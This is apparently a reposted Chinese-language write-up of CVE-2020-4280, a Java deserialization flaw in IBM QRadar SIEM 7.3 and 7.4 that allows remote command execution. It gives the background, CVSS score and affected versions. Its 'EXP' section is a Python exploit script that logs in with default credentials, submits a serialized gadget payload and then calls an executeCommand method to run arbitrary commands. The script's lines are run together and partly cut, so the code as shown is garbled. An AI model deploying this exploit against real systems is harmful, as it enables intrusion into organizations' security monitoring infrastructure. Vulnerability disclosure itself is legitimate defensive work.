IBM QRadar SIEM 反序列化代码执行

编程入门行业动态更新时间:2024-10-23 23:20:37

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IBM QRadar SIEM 反序列化代码执行

0x00 前言

0x01 背景

IBM QRadar SIEM是美国IBM公司的一套利用安全智能保护资产和信息远离高级威胁的解决方案。该方案提供对整个IT架构范围进行监督、生成详细的数据访问和用户活动报告等功能。 IBM QRadar SIEM 7.3和7.4版本存在安全漏洞，攻击者可利用该漏洞在系统上执行任意命令,造成不安全的Java反序列化反序列化的用户提供内容的函数。通过发送一个恶意的序列化的Java对象,攻击者可利用该漏洞可以利用此漏洞执行任意命令。

0x02 漏洞详情

IBM QRadar SIEM可能允许远程攻击者在系统上执行任意命令，这是由Java反序列化功能对用户提供的内容进行不安全的反序列化引起的

**CVEID： **CVE-2020-4280
**说明： **由于Java反序列化功能对用户提供的内容进行了不安全的反序列化，IBM QRadar可能允许远程攻击者在系统上执行任意命令。通过发送恶意的序列化Java对象，攻击者可以利用此漏洞在系统上执行任意命令。
CVSS基本分数：6.3
CVSS时间分数：有关当前分数，请参阅：https : //exchange.xforce.ibmcloud/vulnerabilities/176140 。
CVSS向量：（CVSS：3.0 / AV：N / AC：L / PR：L / UI：N / S：U / C：L / I：L / A：L）

受影响的产品和版本

IBM QRadar SIEM 7.4.0 - 7.4.1 GA
IBM QRadar SIEM 7.3.0 - 7.3.3 Patch 4

0x03 EXP

#!/usr/bin/env python3
import json
import random
import urllib3
import requests
import urllib.parsebase_url='https://127.0.0.1/'
username='admin'
password='initial'
verifycert=False
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AHhwAAAAAXEAfgCEeA=="""if not verifycert:urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)response = requests.get(f'{base_url}console/',verify=verifycert, allow_redirects=False,auth=requests.auth.HTTPBasicAuth(username, password))if response.status_code != 302:print(f"failed login as '{username}'")exit(1)cookies = response.cookies
headers = {'SEC': cookies['SEC']}call = {'method': 'qradar.validateChangesAssetConfiguration', 'QRadarCSRF': cookies['QRadarCSRF'],'id': f'{random.randint(0, 99999999)}','params': {'changedSettings': urllib.parse.quote(gadget)} }
response = requests.post(f'{base_url}console/remoteJavaScript',verify=verifycert, cookies=cookies,headers=headers, data=json.dumps(call))call = {'method': 'qradar.executeCommand', 'QRadarCSRF': cookies['QRadarCSRF'],'id': f'{random.randint(0, 99999999)}','params': {'command': cmd, 'timeoutSeconds': '10'} }
response = requests.post(f'{base_url}console/remoteJavaScript',verify=verifycert, cookies=cookies,headers=headers, data=json.dumps(call))try:result = json.loads(response.text)['result']if len(result['stdOut']) > 0:print(result['stdOut'])if len(result['stdErr']) > 0:print(result['stdErr'])
except:print(response.text)